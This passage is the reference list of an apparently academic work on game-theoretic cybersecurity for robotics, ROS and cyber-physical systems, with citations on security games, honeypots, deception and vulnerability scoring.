the iot-enabled infrastructures. In GLOBECOM 2017-2017 IEEE Global Communications
Conference, pages 1–6. IEEE, 2017.

[15] J. Chen, C. Touati, and Q. Zhu. A dynamic game approach to strategic design of secure and
resilient infrastructure network. IEEE Transactions on Information Forensics and Security,
15:462–474, 2019.

[16] J. Chen, C. Touati, and Q. Zhu. Optimal secure two-layer iot network design. IEEE Trans-
actions on Control of Network Systems, pages 1–1, 2019.

[17] J. Chen and Q. Zhu. Interdependent Network Formation Games. arXiv preprint
arXiv:1602.07745, 2016.

[18] J. Chen and Q. Zhu. Interdependent network formation games with an application to critical
infrastructures. In American Control Conference (ACC), 2016, pages 2870–2875. IEEE, 2016.

[19] J. Chen and Q. Zhu. Optimal contract design under asymmetric information for cloud-enabled
internet of controlled things. In International Conference on Decision and Game Theory for
Security, pages 329–348. Springer, 2016.

[20] J. Chen and Q. Zhu. Optimal Contract Design Under Asymmetric Information for Cloud-
Enabled Internet of Controlled Things. In International Conference on Decision and Game
Theory for Security, pages 329–348. Springer International Publishing, 2016.

[21] J. Chen and Q. Zhu. Resilient and decentralized control of multi-level cooperative mobile
networks to maintain connectivity under adversarial environment. In IEEE Conference on
Decision and Control (CDC), pages 5183–5188, 2016.

[22] J. Chen and Q. Zhu. Interdependent strategic cyber defense and robust switching control
design for wind energy systems. In 2017 IEEE Power & Energy Society General Meeting,
pages 1–5. IEEE, 2017.

[23] J. Chen and Q. Zhu. Control of multi-layer mobile autonomous systems in adversarial envi-
ronments: A games-in-games approach. IEEE Transactions on Control of Network Systems,
submitted, 2019.

71
[24] J. Chen and Q. Zhu. A Game-and Decision-Theoretic Approach to Resilient Interdependent
Network Analysis and Design. Springer, 2019.

[25] A. Choudhury, D. McGrew, and J. Salowey. AES galois counter mode (GCM) cipher suites
for TLS.

[26] C. Cichy and S. Rass. An Overview of Data Quality Frameworks. IEEE Access, 7:24634–
24648, 2019.

[27] A. Clark, Q. Zhu, R. Poovendran, and T. Başar. Deceptive routing in relay networks. In
Decision and Game Theory for Security, pages 171–185. Springer, 2012.

[28] A. Clark, Q. Zhu, R. Poovendran, and T. Başar. An impact-aware defense against stuxnet.
In 2013 American Control Conference, pages 4140–4147. IEEE, 2013.

[29] I. E. Commission et al. Industrial communication networks network and system security part
1-1: Terminology, concepts and models, iec. Technical report, TS 62443-1-1 ed1. 0, Geneva,
Switzerland, 2009.

[30] CyVision Technologies. Cauldron.

[31] B. Dieber, B. Breiling, S. Taurer, S. Kacianka, S. Rass, and P. Schartner. Security for the
robot operating system. 98:192–203.

[32] B. Dieber, R. White, S. Taurer, B. Breiling, G. Caiazza, H. Christensen, and A. Cortesi.

Penetration testing ROS. In A. Koubaa, editor, Robot Operating System (ROS), volume 831,
pages 183–225. Springer International Publishing. Series Title: Studies in Computational
Intelligence.

[33] E. M. Directive. 42/ec of the european parliament and the council of 17 may 2006 on ma-
chinery, and amending directive 95/16/ec (recast). Official Journal of the European Union
L, 157(09):07, 2006.

[34] S. Farhang, M. H. Manshaei, M. N. Esfahani, and Q. Zhu. A dynamic bayesian security game
framework for strategic defense mechanism design. In International conference on decision
and game theory for security, pages 319–328. Springer, 2014.

[35] R. S. Gibbons. Game theory for applied economists. Princeton University Press, 1992.

[36] Greenbone Networks GmbH. OpenVAS - OpenVAS - open vulnerability assessment scanner,
2020.

[37] F. Gul. A theory of disappointment aversion. 59(3):667.

[38] T. Hansen and D. E. Eastlake. US secure hash algorithms (SHA and HMAC-SHA).

72
[39] T. Hansen and D. E. Eastlake. US secure hash algorithms (SHA and SHA-based HMAC and
HKDF).

[40] Y. Hayel and Q. Zhu. Attack-aware cyber insurance for risk sharing in computer networks.
In Decision and Game Theory for Security, pages 22–34. Springer, 2015.

[41] R. Heartfield, G. Loukas, S. Budimir, A. Bezemskij, J. R. Fontaine, A. Filippoupolitis, and

E. Roesch. A taxonomy of cyber-physical threats and impact in the smart home. Computers
& Security, 78:398–428, Sept. 2018.

[42] S. H. Houmb and V. N. L. Franqueira. Estimating ToE risk level using CVSS. pages 718–725.
IEEE Computer Society Press.

[43] J. W. Huang, Q. Zhu, V. Krishnamurthy, and T. Başar. Distributed correlated q-learning for
dynamic transmission control of sensor networks. In Acoustics Speech and Signal Processing
(ICASSP), 2010 IEEE International Conference on, pages 1982–1985. IEEE, 2010.

[44] L. Huang, J. Chen, and Q. Zhu. A large-scale markov game approach to dynamic protection of
interdependent infrastructure networks. In International Conference on Decision and Game
Theory for Security, pages 357–376. Springer, 2017.

[45] L. Huang, J. Chen, and Q. Zhu. Distributed and optimal resilient planning of large-scale
interdependent critical infrastructures. In 2018 Winter Simulation Conference (WSC), pages
1096–1107. IEEE, 2018.

[46] L. Huang and Q. Zhu. Analysis and computation of adaptive defense strategies against ad-
vanced persistent threats for cyber-physical systems. In International Conference on Decision
and Game Theory for Security, pages 205–226. Springer, 2018.

[47] L. Huang and Q. Zhu. Analysis and computation of adaptive defense strategies against ad-
vanced persistent threats for cyber-physical systems. In International Conference on Decision
and Game Theory for Security, 2018.

[48] L. Huang and Q. Zhu. Adaptive honeypot engagement through reinforcement learning of
semi-markov decision processes. In International Conference on Decision and Game Theory
for Security, pages 196–216. Springer, 2019.

[49] L. Huang and Q. Zhu. Dynamic bayesian games for adversarial and defensive cyber deception.
In E. Al-Shaer, J. Wei, K. W. Hamlen, and C. Wang, editors, Autonomous Cyber Deception:
Reasoning, Adaptive Planning, and Evaluation of HoneyThings, pages 75–97. Springer Inter-
national Publishing, Cham, 2019.

[50] Y. Huang, J. Chen, L. Huang, and Q. Zhu. Dynamic games for secure and resilient control
system design. National Science Review, 7(7):1125–1141, 2020.

73
[51] Y. Huang, J. Chen, L. Huang, and Q. Zhu. Dynamic games for secure and resilient control
system design. National Science Review, page to appear, 2020.

[52] Y. Huang and Q. Zhu. Deceptive reinforcement learning under adversarial manipulations on
cost signals. arXiv preprint arXiv:1906.10571, 2019.

[53] S. Jajodia, A. K. Ghosh, V. Swarup, C. Wang, and X. S. Wang. Moving target defense:
creating asymmetric uncertainty for cyber threats, volume 54. Springer Science & Business
Media, 2011.

[54] S. Jajodia, V. Subrahmanian, V. Swarup, and C. Wang. Cyber deception, volume 6. Springer,
2016.

[55] Joanneum ROBOTICS. jr-robotics/ROSPenTo, 2020. original-date: 2018-06-25T06:50:08Z.

[56] J. Jonsson, K. Moriarty, B. Kaliski, and A. Rusch. PKCS #1: RSA cryptography specifica-
tions version 2.2.

[57] A. D. Joseph, B. Nelson, B. I. Rubinstein, and J. Tygar. Adversarial machine learning.

Cambridge University Press, 2018.

[58] A. Jøsang and R. Ismail. The Beta Reputation System. In Proceedings of the 15th Bled
Electronic Commerce Conference, 2002.

[59] B. Kehoe, S. Patil, P. Abbeel, and K. Goldberg. A survey of research on cloud robotics
and automation. IEEE Transactions on automation science and engineering, 12(2):398–409,
2015.

[60] I. Konnov. On Lexicographic Vector Equilibrium Problems. Journal of Optimization Theory

and Applications, 118(3):681–688, Sept. 2003.

[61] S. König, A. Gouglidis, B. Green, and A. Solar. Assessing the Impact of Malware Attacks
in Utility Networks. In Rass, S. and Schauer, S. (eds.) Game Theory for Security and Risk
Management: From Theory to Practice, pages 335–351. Springer International Publishing,
Cham, 2018.

[62] Q. D. La, T. Q. S. Quek, and J. Lee. A game theoretic model for enabling honeypots in IoT
networks. In 2016 IEEE International Conference on Communications (ICC), pages 1–6,
Kuala Lumpur, Malaysia, May 2016. IEEE.

[63] F. J. R. Lera, C. F. Llamas, A. M. Guerrero, and V. M. Olivera. Cybersecurity of Robotics

and Autonomous Systems: Privacy and Safety. In G. Dekoulis, editor, Robotics - Legal,
Ethical and Socioeconomic Impacts. InTech, Dec. 2017.

[64] M. H. Manshaei, Q. Zhu, T. Alpcan, T. Bacşar, and J.-P. Hubaux. Game theory meets
network security and privacy. ACM Computing Surveys (CSUR), 45(3):25, 2013.

74
[65] L. Masinter, T. Berners-Lee, and R. T. Fielding. Uniform resource identifier (URI): Generic
syntax, 2016.

[66] V. Mayoral-Vilches, I. Abad-Fernández, M. Pinzger, S. Rass, B. Dieber, A. Cunha, F. J.

Rodrı́guez-Lera, G. Lacava, A. Marotta, F. Martinelli, et al. alurity, a toolbox for robot
cybersecurity. arXiv preprint arXiv:2010.07759, 2020.

[67] V. Mayoral-Vilches, N. Garcı́a-Maestro, M. Towers, and E. Gil-Uriarte. Devsecops in robotics.

arXiv preprint arXiv:2003.10402, 2020.

[68] V. Mayoral-Vilches, E. Gil-Uriarte, I. Zamalloa Ugarte, G. Olalde Mendia, R. Izquierdo Pisón,

L. Alzola Kirschgens, A. Bilbao Calvo, A. Hernández Cordero, L. Apa, and C. Cerrudo.
Towards an open standard for assessing the severity of robot security vulnerabilities, the
Robot Vulnerability Scoring System (RVSS). ArXiv e-prints, July 2018.

[69] V. Mayoral-Vilches, L. A. Kirschgens, A. B. Calvo, A. H. Cordero, R. I. Pisón, D. M. Vilches,

A. M. Rosas, G. O. Mendia, L. U. S. Juan, I. Z. Ugarte, E. Gil-Uriarte, E. Tews, and
A. Peter. Introducing the robot security framework (rsf), a standardized methodology to
perform security assessments in robotics, 2019.

[70] V. Mayoral-Vilches, M. Pinzger, S. Rass, B. Dieber, and E. Gil-Uriarte. Can ros be used
securely in industry? red teaming ros-industrial. arXiv preprint arXiv:2009.08211, 2020.

[71] J. McClean, C. Stull, C. Farrar, and D. Mascarenas. A preliminary cyber-physical security

assessment of the robot operating system (ros). In Unmanned Systems Technology XV, volume
8741, page 874110. International Society for Optics and Photonics, 2013.

[72] K. McCloghrie, U. Blumenthal, and F. Maino. The advanced encryption standard (AES)
cipher algorithm in the SNMP user-based security model, 2004.

[73] F. Miao and Q. Zhu. A moving-horizon hybrid stochastic game for secure control of cyber-
physical systems. In Decision and Control (CDC), 2014 IEEE 53rd Annual Conference on,
pages 517–522. IEEE, 2014.

[74] R. Miura-Ko, B. Yolken, J. Mitchell, and N. Bambos. Security decision-making among in-
terdependent organizations. In Computer Security Foundations Symposium, 2008. CSF’08.
IEEE 21st, pages 66–80. IEEE, 2008.

[75] M. M. Moghaddam, M. H. Manshaei, and Q. Zhu. To trust or not: A security signaling

game between service provider and client. In Decision and Game Theory for Security, pages
322–333. Springer, 2015.

[76] I. Mokube and M. Adams. Honeypots: concepts, approaches, and challenges. In Proceedings
of the 45th annual southeast regional conference, pages 321–326, 2007.

75
[77] A. Monga and Q. Zhu. On solving large-scale low-rank zero-sum security games of incom-
plete information. In Information Forensics and Security (WIFS), 2016 IEEE International
Workshop on, pages 1–6. IEEE, 2016.

[78] J. F. Nash et al. Equilibrium points in n-person games. Proceedings of the national academy
of sciences, 36(1):48–49, 1950.

[79] C. Neumann, T. Yu, S. Hartman, and K. Raeburn. The Kerberos Network Authentication
Service (V5). 2005.

[80] M. A. Noureddine, A. Fawaz, W. H. Sanders, and T. Başar. A game-theoretic approach to

respond to attacker lateral movement. In International Conference on Decision and Game
Theory for Security, pages 294–313. Springer, 2016.

[81] Y. Nugraha, A. Cetinkaya, T. Hayakawa, H. Ishii, and Q. Zhu. Dynamic resilient network
games with applications to multi-agent consensus. arXiv preprint arXiv:2003.13554, 2020.

[82] Y. Nugraha, T. Hayakawa, A. Cetinkaya, H. Ishii, and Q. Zhu. Subgame perfect equilibrium
analysis for jamming attacks on resilient graphs. In 2019 American Control Conference
(ACC), pages 2060–2065. IEEE, 2019.

[83] Open Robotics. roswtf - ROS wiki, 2020.

[84] Open Source Robotics Foundation, Inc. ROS 2 Robotic Systems Threat Model, 2021. re-
trieved: March 4, 2021.

[85] Y. Pan, G. Peng, J. Chen, and Q. Zhu. Masage: Model-agnostic sequential and adaptive
game estimation. In International Conference on Decision and Game Theory for Security,
pages 365–384. Springer, 2020.

[86] J. Pawlick. A Systems Science Perspective on Deception for Cybersecurity in the Internet of
Things. PhD thesis, 2018. Copyright - Database copyright ProQuest LLC; ProQuest does
not claim copyright in the individual underlying works; Last updated - 2018-08-09.

[87] J. Pawlick, J. Chen, and Q. Zhu. istrict: An interdependent strategic trust mechanism for
the cloud-enabled internet of controlled things. IEEE Transactions on Information Forensics
and Security, 14(6):1654–1669, 2018.

[88] J. Pawlick, E. Colbert, and Q. Zhu. A game-theoretic taxonomy and survey of defensive
deception for cybersecurity and privacy. arXiv preprint arXiv:1712.05441, 2017.

[89] J. Pawlick, E. Colbert, and Q. Zhu. Modeling and analysis of leaky deception using signaling
games with evidence. IEEE Transactions on Information Forensics and Security, 14(7):1871–
1886, 2018.

76
 [90] J. Pawlick, E. Colbert, and Q. Zhu. A game-theoretic taxonomy and survey of defensive
deception for cybersecurity and privacy. ACM Computing Surveys (CSUR), 52(4):82, 2019.

[91] J. Pawlick, S. Farhang, and Q. Zhu. Flip the cloud: Cyber-physical signaling games in the
presence of advanced persistent threats. In International Conference on Decision and Game
Theory for Security, pages 289–308. Springer, 2015.

[92] J. Pawlick and Q. Zhu. Deception by design: evidence-based signaling games for network
defense. arXiv preprint arXiv:1503.05458, 2015.

[93] J. Pawlick and Q. Zhu. A Stackelberg game perspective on the conflict between machine
learning and data obfuscation. In Information Forensics and Security (WIFS), 2016 IEEE
International Workshop on, pages 1–6. IEEE, 2016.

[94] J. Pawlick and Q. Zhu. Phishing for Phools in the Internet of Things: Modeling One-to-Many
Deception using Poisson Signaling Games. arXiv preprint arXiv:1703.05234, 2017.

[95] J. Pawlick and Q. Zhu. Strategic trust in cloud-enabled cyber-physical systems with an
application to glucose control. IEEE Transactions on Information Forensics and Security,
12(12):2906–2919, 2017.

[96] J. Pawlick and Q. Zhu. Game Theory for Cyber Deception: From Theory to Applications.
Springer Nature, 2021.

[97] G. Peng, T. Zhang, and Q. Zhu. A data-driven distributionally robust game using wasserstein
distance. In International Conference on Decision and Game Theory for Security, pages 405–
421. Springer, 2020.

[98] C. Petschnigg, M. Brandstotter, H. Pichler, M. Hofbaur, and B. Dieber. Quantum computa-

tion in robotic science and applications. In 2019 International Conference on Robotics and
Automation (ICRA), pages 803–810. IEEE.

[99] T. Pornin. Deterministic usage of the digital signature algorithm (DSA) and elliptic curve
digital signature algorithm (ECDSA).

[100] M. Quigley, K. Conley, B. Gerkey, J. Faust, T. Foote, J. Leibs, R. Wheeler, and A. Y. Ng.
Ros: an open-source robot operating system. In ICRA workshop on open source software,
volume 3, page 5. Kobe, Japan, 2009.

[101] M. A. Rahman, M. H. Manshaei, and E. Al-Shaer. A game-theoretic approach for deceiving

remote operating system fingerprinting. In 2013 IEEE Conference on Communications and
Network Security (CNS), pages 73–81. IEEE, 2013.

[102] S. Rass. Complexity of Network Design for Private Communication and the P-vs-NP question.
International Journal of Advanced Computer Science and Applications, 5(2):148–157, 2014.

77
[103] S. Rass. Perfectly Secure Communication, based on Graph-Topological Addressing in Unique-
Neighborhood Networks. arXiv preprint arXiv:1810.05602, 2018.

[104] S. Rass. Security Strategies and Multi-Criteria Decision Making. In S. Rass and S. Schauer,
editors, Game Theory for Security and Risk Management, pages 47–74. Springer International
Publishing, Cham, 2018.

[105] S. Rass, S. Konig, and S. Schauer. Defending Against Advanced Persistent Threats Using
Game-Theory. PLoS ONE, 12(1):e0168675, 2017.

[106] S. Rass and S. Kurowski. On Bayesian Trust and Risk Forecasting for Compound Systems.
In Proceedings of the 7th International Conference on IT Security Incident Management &
IT Forensics (IMF), pages 69–82. IEEE Computer Society, 2013.

[107] S. Rass and S. König. Password Security as a Game of Entropies. Entropy, 20(5):312, 2018.

[108] S. Rass, S. König, and E. Panaousis. Cut-the-rope: A game of stealthy intrusion. In T. Alpcan,
Y. Vorobeychik, J. S. Baras, and G. Dán, editors, Decision and Game Theory for Security,
volume 11836, pages 404–416. Springer International Publishing.

[109] S. Rass, S. König, and S. Schauer. On the cost of game playing: How to control the expenses
in mixed strategies. In Decision and Game Theory for Security.8th International Conference,
GameSec 2017, pages 494–505. Springer.

[110] S. Rass and B. Rainer. Numerical Computation of Multi-Goal Security Strategies. In

R. Poovendran and W. Saad, editors, Decision and Game Theory for Security, LNCS 8840,
pages 118–133. Springer, 2014.

[111] S. Rass, B. Rainer, M. Vavti, J. Göllner, A. Peer, and S. Schauer. Secure Communication
over Software-Defined Networks. Mobile Networks and Applications, 20(1):105–110, 2015.

[112] S. Rass, B. Rainer, M. Vavti, and S. Schauer. A Network Modeling and Analysis Tool for Per-
fectly Secure Communication. In Proceedings of the 27th IEEE International Conference on
Advanced Information Networking and Applications, pages 267–275. IEEE Computer Society
Press, 2013.

[113] S. Rass and P. Schartner. Multipath Authentication without shared Secrets and with Ap-
plications in Quantum Networks. In Proceedings of the International Conference on Security
and Management (SAM), volume 1, pages 111–115. CSREA Press, 2010.

[114] S. Rass and S. Schauer. Refining Stochastic Models of Critical Infrastructures by Observation.
In Proceedings of the 56th ESReDA Seminar, European Atomic Energy Community, number
No JRC118427 in JRC Publications, pages 212–223. Publications Office of the European
Union, 2019.

78
[115] S. Rass, S. Schauer, S. König, and Q. Zhu. Cyber-Security in Critical Infrastructures: A
Game-Theoretic Approach. SpringerNature.

[116] S. Rass, A. Wiegele, and S. König. Security Games over Lexicographic Orders. In Q. Zhu,
J. S. Baras, R. Poovendran, and J. Chen, editors, Decision and Game Theory for Security,
volume 12513, pages 422–441. Springer International Publishing, Cham, 2020. Series Title:
Lecture Notes in Computer Science.

[117] S. Rass and Q. Zhu. GADAPT: a sequential game-theoretic framework for designing defense-
in-depth strategies against advanced persistent threats. In International Conference on Deci-
sion and Game Theory for Security, pages 314–326. Springer International Publishing, 2016.

[118] C. Rieger, I. Ray, Q. Zhu, and M. Haney. Industrial Control Systems Security and Resiliency:
Practice and Theory. Advances in Information Security. Springer, 2019.

[119] C. Rieger, Q. Zhu, and T. Başar. Agent-based cyber control strategy design for resilient
control systems: Concepts, architecture and methodologies. In Resilient Control Systems
(ISRCS), 2012 5th International Symposium on, pages 40–47. IEEE, 2012.

[120] P. W. Shor. Polynomial-time algorithms for prime factorization and discrete logarithms on a
quantum computer. 26(5):1484–1509.

[121] C. B. Simmons, C. Ellis, S. Shiva, D. Dasgupta, and Q. Wu. Avoidit: A cyber attack
taxonomy. CTIT technical reports series, 2009.

[122] A. Singhal and X. Ou. Security risk analysis of enterprise networks using probabilistic attack
graphs, 2011.

[123] K. Stouffer, J. Falco, and K. Scarfone. Guide to industrial control systems (ics) security.
NIST special publication, 800(82):16–16, 2011.

[124] L. Stroetmann and H. Pohl. Robot operating system (ros): Safe & insecure. 2014.

[125] System Security Research Group. Implementation of the cut-the-rope game” of stealthy
intrusion | SYSSEC.

[126] S. Taurer, B. Breiling, S. Svrta, and B. Dieber. Case study: Remote attack to disable MiR100
safety. In Proceedings of the first Cybersecurity for Robotics 2019 Conference (CSfR2019),
2019.

[127] Tenable. Nessus vulnerability assessment, 2020.

[128] M. Van Dijk, A. Juels, A. Oprea, and R. L. Rivest. Flipit: The game of “stealthy takeover”.
Journal of Cryptology, 26(4):655–713, 2013.

79
[129] R. Varma, C. Melville, C. Pinello, and T. Sahai. Post quantum secure command and control of
mobile agents : Inserting quantum-resistant encryption schemes in the secure robot operating
system.

[130] V. M. Vilches. It, ot, iot and robotics, a security comparison, Jun 2020.

[131] V. M. Vilches, E. Gil-Uriarte, I. Z. Ugarte, G. O. Mendia, R. I. Pisón, L. A. Kirschgens, A. B.

Calvo, A. H. Cordero, L. Apa, and C. Cerrudo. Towards an open standard for assessing the
severity of robot security vulnerabilities, the robot vulnerability scoring system (RVSS).

[132] Y. Vorobeychik and M. Kantarcioglu. Adversarial Machine Learning. Synthesis Lectures on

Artificial Intelligence and Machine Learning, 12(3):1–169, Aug. 2018.

[133] J. Wachter, T. Grafenauer, and S. Rass. Visual Risk Specification and Aggregation. In
IARIA, editor, SECURWARE 2017: The Eleventh International Conference on Emerging
Security Information, Systems and Technologies, pages 93–98. 2017.

[134] J. Wachter, S. Rass, S. König, and S. Schauer. Disappointment-aversion in security games.

In International Conference on Decision and Game Theory for Security, pages 314–325.
Springer.

[135] R. White. ruffsl/roschaos, 2018. original-date: 2017-09-29T17:24:54Z.

[136] Z. Xu and Q. Zhu. A cyber-physical game framework for secure and resilient multi-agent
autonomous systems. In 2015 54th IEEE Conference on Decision and Control (CDC), pages
5156–5161. IEEE, 2015.

[137] Z. Xu and Q. Zhu. Secure and resilient control design for cloud enabled networked control
systems. In Proceedings of the first ACM workshop on cyber-physical systems-security and/or
privacy, pages 31–42, 2015.

[138] Z. Xu and Q. Zhu. Cross-layer secure cyber-physical control system design for networked 3d
printers. In 2016 American Control Conference (ACC), pages 1191–1196. IEEE, 2016.

[139] Z. Xu and Q. Zhu. A Game-Theoretic Approach to Secure Control of Communication-Based

Train Control Systems Under Jamming Attacks. In Proceedings of the 1st International
Workshop on Safe Control of Connected and Autonomous Vehicles, pages 27–34. ACM, 2017.

[140] Z. Xu and Q. Zhu. A game-theoretic approach to secure control of communication-based train

control systems under jamming attacks. In Proceedings of the 1st International Workshop on
Safe Control of Connected and Autonomous Vehicles, pages 27–34. ACM, 2017.

[141] Z. Xu and Q. Zhu. Secure and practical output feedback control for cloud-enabled cyber-
physical systems. In Communications and Network Security (CNS), 2017 IEEE Conference
on, pages 416–420. IEEE, 2017.

80
[142] Z. Xu and Q. Zhu. Cross-layer secure and resilient control of delay-sensitive networked
robot operating systems. In 2018 IEEE Conference on Control Technology and Applications
(CCTA), pages 1712–1717. IEEE, 2018.

[143] R. Zhang and Q. Zhu. Secure and resilient distributed machine learning under adversarial
environments. In 2015 18th International Conference on Information Fusion (Fusion), pages
644–651. IEEE, 2015.

[144] R. Zhang and Q. Zhu. Attack-Aware Cyber Insurance of Interdependent Computer Networks.
2016.

[145] R. Zhang and Q. Zhu. A game-theoretic analysis of label flipping attacks on distributed
support vector machines. In Information Sciences and Systems (CISS), 2017 51st Annual
Conference on, pages 1–6. IEEE, 2017.

[146] R. Zhang and Q. Zhu. A game-theoretic defense against data poisoning attacks in distributed
support vector machines. In Decision and Control (CDC), 2017 IEEE 56th Annual Confer-
ence on, pages 4582–4587. IEEE, 2017.

[147] R. Zhang and Q. Zhu. A game-theoretic approach to design secure and resilient distributed
support vector machines. IEEE transactions on neural networks and learning systems,
29(11):5512–5527, 2018.

[148] R. Zhang and Q. Zhu. A game-theoretic approach to design secure and resilient distributed
support vector machines. IEEE Transactions on Neural Networks and Learning Systems,
2018.

[149] R. Zhang and Q. Zhu. Flipin: A game-theoretic cyber insurance framework for incentive-
compatible cyber risk management of internet of things. IEEE Transactions on Information
Forensics and Security, 2019.

[150] R. Zhang, Q. Zhu, and Y. Hayel. A bi-level game approach to attack-aware cyber insurance
of computer networks. IEEE Journal on Selected Areas in Communications, 35(3):779–794,
2017.

[151] T. Zhang, L. Huang, J. Pawlick, and Q. Zhu. Game-theoretic analysis of cyber deception:
Evidence-based strategies and dynamic risk mitigation. arXiv preprint arXiv:1902.03925,
2019.

[152] T. Zhang and Q. Zhu. Dynamic differential privacy for admm-based distributed classification
learning. IEEE Transactions on Information Forensics and Security, 12(1):172–187, 2016.

[153] Q. Zhu and T. Başar. Dynamic policy-based ids configuration. In Decision and Control, 2009
held jointly with the 2009 28th Chinese Control Conference. CDC/CCC 2009. Proceedings of
the 48th IEEE Conference on, pages 8600–8605. IEEE, 2009.

81
[154] Q. Zhu and T. Başar. Indices of power in optimal ids default configuration: theory and
examples. In Decision and Game Theory for Security, pages 7–21. Springer, 2011.

[155] Q. Zhu and T. Başar. Robust and resilient control design for cyber-physical systems with an
application to power systems. In 2011 50th IEEE Conference on Decision and Control and
European Control Conference, pages 4066–4071. IEEE, 2011.

[156] Q. Zhu and T. Başar. A dynamic game-theoretic approach to resilient control system design
for cascading failures. In Proceedings of the 1st international conference on High Confidence
Networked Systems, pages 41–46, 2012.

[157] Q. Zhu and T. Başar. Game-theoretic approach to feedback-driven multi-stage moving target
defense. In International Conference on Decision and Game Theory for Security, pages 246–
263. Springer, 2013.

[158] Q. Zhu and T. Basar. Game-theoretic methods for robustness, security, and resilience of cy-
berphysical control systems: games-in-games principle for optimal cross-layer resilient control
systems. IEEE Control Systems Magazine, 35(1):46–65, 2015.

[159] Q. Zhu, L. Bushnell, and T. Başar. Resilient distributed control of multi-agent cyber-physical
systems. In Control of Cyber-Physical Systems, pages 301–316. Springer, 2013.

[160] Q. Zhu, L. Bushnell, and T. Başar. Resilient distributed control of multi-agent cyber-physical
systems. In Control of Cyber-Physical Systems, pages 301–316. Springer, 2013.

[161] Q. Zhu, Z. Han, and T. Başar. No-regret learning in collaborative spectrum sensing with
malicious nodes. In Communications (ICC), 2010 IEEE International Conference on, pages
1–6. IEEE, 2010.

[162] Q. Zhu, H. Li, Z. Han, and T. Başar. A stochastic game model for jamming in multi-channel
cognitive radio systems. In 2010 IEEE International Conference on Communications, pages
1–6. IEEE, 2010.

[163] Q. Zhu and S. Rass. On multi-phase and multi-stage game-theoretic modeling of advanced
persistent threats. IEEE Access, 6:13958–13971, 2018.

[164] Q. Zhu, S. Rass, and P. Schartner. Community-Based Security for the Internet of Things. In
Smart Cities Cybersecurity and Privacy, pages 11–19. Elsevier, 2019.

[165] Q. Zhu, C. Rieger, and T. Başar. A hierarchical security architecture for cyber-physical
systems. In 2011 4th international symposium on resilient control systems, pages 15–20.
IEEE, 2011.

[166] Q. Zhu, W. Saad, Z. Han, H. V. Poor, and T. Başar. Eavesdropping and jamming in next-
generation wireless networks: A game-theoretic approach. In Military Communications Con-
ference (MILCOM), 2011, pages 119–124. IEEE, 2011.

82
[167] Q. Zhu, J. B. Song, and T. Başar. Dynamic secure routing game in distributed cognitive
radio networks. In Global Telecommunications Conference (GLOBECOM 2011), 2011 IEEE,
pages 1–6. IEEE, 2011.

[168] Q. Zhu, H. Tembine, and T. Başar. Network security configurations: A nonzero-sum stochas-
tic game approach. In American Control Conference (ACC), 2010, pages 1059–1064. IEEE,
2010.

[169] Q. Zhu, H. Tembine, and T. Başar. Distributed strategic learning with application to network
security. In American Control Conference (ACC), 2011, pages 4057–4062. IEEE, 2011.

[170] Q. Zhu, H. Tembine, and T. Başar. Hybrid learning in stochastic games and its applications
in network security. Reinforcement Learning and Approximate Dynamic Programming for
Feedback Control, pages 305–329, 2013.

[171] Q. Zhu, H. Tembine, and T. Başar. Heterogeneous learning in zero-sum stochastic games
with incomplete information. In 49th IEEE conference on decision and control (CDC), pages
219–224. IEEE, 2010.

[172] Q. Zhu, D. Wei, and K. Ji. Hierarchical architectures of resilient control systems: Con-
cepts, metrics and design principles. In J. C. P. Cheng, H. Zhang, editor, Cyber Security for
Industrial Control Systems: from the viewpoint of close-loop. CRC Press, 2015.

[173] Q. Zhu and Z. Xu. Cross-Layer Design for Secure and Resilient Cyber-Physical Systems: A
Decision and Game Theoretic Approach. Springer Nature, 2020.

[174] J. Zhuang, V. M. Bier, and O. Alagoz. Modeling secrecy and deception in a multiple-period
attacker–defender signaling game. European Journal of Operational Research, 203(2):409–418,
2010.

83